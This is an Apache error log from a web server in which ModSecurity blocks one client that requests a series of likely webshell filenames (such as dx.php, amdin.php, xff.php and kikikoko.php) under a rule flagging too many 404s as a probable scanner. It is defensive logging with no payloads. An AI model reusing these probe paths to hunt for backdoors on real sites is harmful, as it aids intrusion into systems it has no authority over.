[Tue Apr 21 17:57:36.127298 2026] [:error] [pid 53978:tid 54001] [client 20.199.181.135:5252] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2468.php"] [unique_id "aedKEJ1ivsR4hcOSQbbqhAAAApU"]
[Tue Apr 21 17:57:36.604698 2026] [:error] [pid 35321:tid 35388] [client 20.199.181.135:49296] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2468.php"] [unique_id "aedKEDeHLhVUuu8cVXwRQAAAAEQ"]
[Tue Apr 21 17:57:37.077457 2026] [:error] [pid 54080:tid 54104] [client 20.199.181.135:55841] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2468.php"] [unique_id "aedKEYzEbQHHxtmWbaaOmAAAAtY"]
[Tue Apr 21 17:57:37.551230 2026] [:error] [pid 35321:tid 35384] [client 20.199.181.135:5276] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aedKETeHLhVUuu8cVXwRRQAAAEA"]
[Tue Apr 21 17:57:38.027455 2026] [:error] [pid 35415:tid 35439] [client 20.199.181.135:60881] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aedKEkiqDinI4_22zzhlRgAAAMw"]
[Tue Apr 21 17:57:38.499848 2026] [:error] [pid 35415:tid 35445] [client 20.199.181.135:5974] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aedKEkiqDinI4_22zzhlRwAAANI"]
[Tue Apr 21 17:57:38.972792 2026] [:error] [pid 4777:tid 4788] [client 20.199.181.135:49049] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aedKEqxXur6bykKyLZSYsgAAAQA"]
[Tue Apr 21 17:57:39.444333 2026] [:error] [pid 53978:tid 53997] [client 20.199.181.135:15648] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dx.php"] [unique_id "aedKE51ivsR4hcOSQbbqhQAAApE"]
[Tue Apr 21 17:57:39.915670 2026] [:error] [pid 53978:tid 54002] [client 20.199.181.135:43046] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dx.php"] [unique_id "aedKE51ivsR4hcOSQbbqhgAAApY"]
[Tue Apr 21 17:57:40.387079 2026] [:error] [pid 4823:tid 4870] [client 20.199.181.135:53210] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dx.php"] [unique_id "aedKFPc8mke3PfHqsxHlogAAAZE"]
[Tue Apr 21 17:57:40.859292 2026] [:error] [pid 53832:tid 53837] [client 20.199.181.135:15663] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dx.php"] [unique_id "aedKFNzkuxsE_OhM9UJNtwAAAkI"]
[Tue Apr 21 17:57:41.331241 2026] [:error] [pid 53978:tid 53998] [client 20.199.181.135:43045] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amdin.php"] [unique_id "aedKFZ1ivsR4hcOSQbbqiQAAApI"]
[Tue Apr 21 17:57:41.804362 2026] [:error] [pid 54080:tid 54100] [client 20.199.181.135:49315] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amdin.php"] [unique_id "aedKFYzEbQHHxtmWbaaOmwAAAtI"]
[Tue Apr 21 17:57:42.282096 2026] [:error] [pid 54080:tid 54082] [client 20.199.181.135:36099] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amdin.php"] [unique_id "aedKFozEbQHHxtmWbaaOngAAAsA"]
[Tue Apr 21 17:57:42.756147 2026] [:error] [pid 4777:tid 4789] [client 20.199.181.135:43061] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amdin.php"] [unique_id "aedKFqxXur6bykKyLZSYtQAAAQE"]
[Tue Apr 21 17:57:43.248635 2026] [:error] [pid 4777:tid 4796] [client 20.199.181.135:36155] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/huya.php"] [unique_id "aedKF6xXur6bykKyLZSYtgAAAQg"]
[Tue Apr 21 17:57:43.721067 2026] [:error] [pid 54080:tid 54097] [client 20.199.181.135:36113] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/huya.php"] [unique_id "aedKF4zEbQHHxtmWbaaOnwAAAs8"]
[Tue Apr 21 17:57:44.192100 2026] [:error] [pid 54080:tid 54087] [client 20.199.181.135:43050] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/huya.php"] [unique_id "aedKGIzEbQHHxtmWbaaOogAAAsU"]
[Tue Apr 21 17:57:44.662754 2026] [:error] [pid 53731:tid 53741] [client 20.199.181.135:49079] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/huya.php"] [unique_id "aedKGF2I9THUR-bRVGwgrQAAAgY"]
[Tue Apr 21 17:57:45.135023 2026] [:error] [pid 4823:tid 4857] [client 20.199.181.135:53186] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/puc.php"] [unique_id "aedKGfc8mke3PfHqsxHlpgAAAYQ"]
[Tue Apr 21 17:57:45.619430 2026] [:error] [pid 53731:tid 53758] [client 20.199.181.135:40517] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/puc.php"] [unique_id "aedKGV2I9THUR-bRVGwgsQAAAhY"]
[Tue Apr 21 17:57:46.091991 2026] [:error] [pid 4823:tid 4873] [client 20.199.181.135:36114] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/puc.php"] [unique_id "aedKGvc8mke3PfHqsxHlpwAAAZQ"]
[Tue Apr 21 17:57:46.565467 2026] [:error] [pid 54080:tid 54105] [client 20.199.181.135:5580] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/puc.php"] [unique_id "aedKGozEbQHHxtmWbaaOowAAAtc"]
[Tue Apr 21 17:57:47.039826 2026] [:error] [pid 53731:tid 53741] [client 20.199.181.135:49033] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/themes.php"] [unique_id "aedKG12I9THUR-bRVGwguwAAAgY"]
[Tue Apr 21 17:57:47.516615 2026] [:error] [pid 53731:tid 53746] [client 20.199.181.135:53213] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/themes.php"] [unique_id "aedKG12I9THUR-bRVGwgwgAAAgs"]
[Tue Apr 21 17:57:47.989266 2026] [:error] [pid 35321:tid 35386] [client 20.199.181.135:53223] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/themes.php"] [unique_id "aedKGzeHLhVUuu8cVXwRXgAAAEI"]
[Tue Apr 21 17:57:48.465600 2026] [:error] [pid 54080:tid 54091] [client 20.199.181.135:35196] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/themes.php"] [unique_id "aedKHIzEbQHHxtmWbaaOpgAAAsk"]
[Tue Apr 21 17:57:48.943173 2026] [:error] [pid 4823:tid 4863] [client 20.199.181.135:40541] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ewp.php"] [unique_id "aedKHPc8mke3PfHqsxHlqAAAAYo"]
[Tue Apr 21 17:57:49.420127 2026] [:error] [pid 35320:tid 35354] [client 20.199.181.135:36106] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ewp.php"] [unique_id "aedKHYJW6fdXWO6agMFlUwAAABg"]
[Tue Apr 21 17:57:49.892192 2026] [:error] [pid 35321:tid 35401] [client 20.199.181.135:5590] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ewp.php"] [unique_id "aedKHTeHLhVUuu8cVXwRaQAAAFE"]
[Tue Apr 21 17:57:50.364557 2026] [:error] [pid 35320:tid 35351] [client 20.199.181.135:53245] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ewp.php"] [unique_id "aedKHoJW6fdXWO6agMFlWQAAABU"]
[Tue Apr 21 17:57:50.836147 2026] [:error] [pid 35321:tid 35399] [client 20.199.181.135:5843] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kikikoko.php"] [unique_id "aedKHjeHLhVUuu8cVXwRbAAAAE8"]
[Tue Apr 21 17:57:51.308041 2026] [:error] [pid 53832:tid 53856] [client 20.199.181.135:40532] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kikikoko.php"] [unique_id "aedKH9zkuxsE_OhM9UJNugAAAlU"]
[Tue Apr 21 17:57:51.780538 2026] [:error] [pid 35321:tid 35406] [client 20.199.181.135:60881] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kikikoko.php"] [unique_id "aedKHzeHLhVUuu8cVXwRcgAAAFY"]
[Tue Apr 21 17:57:52.252142 2026] [:error] [pid 35321:tid 35403] [client 20.199.181.135:35174] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kikikoko.php"] [unique_id "aedKIDeHLhVUuu8cVXwRdAAAAFM"]
[Tue Apr 21 17:57:52.726032 2026] [:error] [pid 35321:tid 35396] [client 20.199.181.135:40518] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dx.php"] [unique_id "aedKIDeHLhVUuu8cVXwReQAAAEw"]
[Tue Apr 21 17:57:53.213118 2026] [:error] [pid 35321:tid 35389] [client 20.199.181.135:35148] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dx.php"] [unique_id "aedKITeHLhVUuu8cVXwRegAAAEU"]
[Tue Apr 21 17:57:53.684084 2026] [:error] [pid 35321:tid 35399] [client 20.199.181.135:40560] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dx.php"] [unique_id "aedKITeHLhVUuu8cVXwRfQAAAE8"]
[Tue Apr 21 17:57:54.155067 2026] [:error] [pid 35321:tid 35390] [client 20.199.181.135:36129] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dx.php"] [unique_id "aedKIjeHLhVUuu8cVXwRgAAAAEY"]
[Tue Apr 21 17:57:54.628644 2026] [:error] [pid 53731:tid 53747] [client 20.199.181.135:35145] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xff.php"] [unique_id "aedKIl2I9THUR-bRVGwg0gAAAgw"]
[Tue Apr 21 17:57:55.103782 2026] [:error] [pid 35321:tid 35396] [client 20.199.181.135:5877] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xff.php"] [unique_id "aedKIzeHLhVUuu8cVXwRhwAAAEw"]
[Tue Apr 21 17:57:55.579040 2026] [:error] [pid 35321:tid 35399] [client 20.199.181.135:5839] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xff.php"] [unique_id "aedKIzeHLhVUuu8cVXwRiQAAAE8"]
[Tue Apr 21 17:57:56.050698 2026] [:error] [pid 54080:tid 54083] [client 20.199.181.135:35170] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xff.php"] [unique_id "aedKJIzEbQHHxtmWbaaOqwAAAsE"]
[Tue Apr 21 17:57:56.522173 2026] [:error] [pid 35321:tid 35404] [client 20.199.181.135:35176] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lupo.php"] [unique_id "aedKJDeHLhVUuu8cVXwRiwAAAFQ"]
[Tue Apr 21 17:57:56.994280 2026] [:error] [pid 35320:tid 35354] [client 20.199.181.135:36109] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lupo.php"] [unique_id "aedKJIJW6fdXWO6agMFlcQAAABg"]
[Tue Apr 21 17:57:57.483491 2026] [proxy_fcgi:error] [pid 35320:tid 35351] [client 20.199.181.135:36132] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:57:57.724728 2026] [proxy_fcgi:error] [pid 35320:tid 35348] [client 20.199.181.135:36132] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:57:57.965426 2026] [proxy_fcgi:error] [pid 35320:tid 35336] [client 20.199.181.135:36132] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:57:58.207787 2026] [proxy_fcgi:error] [pid 35320:tid 35347] [client 20.199.181.135:36132] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:57:58.448711 2026] [proxy_fcgi:error] [pid 35320:tid 35343] [client 20.199.181.135:36132] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:57:58.690196 2026] [proxy_fcgi:error] [pid 35320:tid 35353] [client 20.199.181.135:36132] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:58:00.708169 2026] [proxy_fcgi:error] [pid 35320:tid 35351] [client 20.199.181.135:36132] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:58:00.951391 2026] [proxy_fcgi:error] [pid 35320:tid 35330] [client 20.199.181.135:36132] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:58:01.195938 2026] [proxy_fcgi:error] [pid 35320:tid 35348] [client 20.199.181.135:36132] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:58:01.439545 2026] [proxy_fcgi:error] [pid 35320:tid 35349] [client 20.199.181.135:36132] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:58:01.677409 2026] [:error] [pid 35320:tid 35339] [client 20.199.181.135:36132] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/7.php"] [unique_id "aedKKYJW6fdXWO6agMFljQAAAAk"]
[Tue Apr 21 17:58:02.150610 2026] [:error] [pid 35321:tid 35388] [client 20.199.181.135:36145] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/7.php"] [unique_id "aedKKjeHLhVUuu8cVXwRkgAAAEQ"]
[Tue Apr 21 17:58:02.623444 2026] [:error] [pid 53731:tid 53742] [client 20.199.181.135:43037] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/7.php"] [unique_id "aedKKl2I9THUR-bRVGwg5wAAAgc"]
[Tue Apr 21 17:58:03.095415 2026] [:error] [pid 54080:tid 54090] [client 20.199.181.135:5856] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/7.php"] [unique_id "aedKK4zEbQHHxtmWbaaOsQAAAsg"]
[Tue Apr 21 17:58:03.567450 2026] [:error] [pid 53731:tid 53754] [client 20.199.181.135:36097] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8.php"] [unique_id "aedKK12I9THUR-bRVGwg6gAAAhI"]
[Tue Apr 21 17:58:04.040034 2026] [:error] [pid 53978:tid 54001] [client 20.199.181.135:5745] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8.php"] [unique_id "aedKLJ1ivsR4hcOSQbbqjwAAApU"]
[Tue Apr 21 17:58:04.511252 2026] [:error] [pid 54080:tid 54082] [client 20.199.181.135:5697] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8.php"] [unique_id "aedKLIzEbQHHxtmWbaaOtwAAAsA"]
[Tue Apr 21 17:58:04.982445 2026] [:error] [pid 54080:tid 54092] [client 20.199.181.135:36152] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8.php"] [unique_id "aedKLIzEbQHHxtmWbaaOugAAAso"]
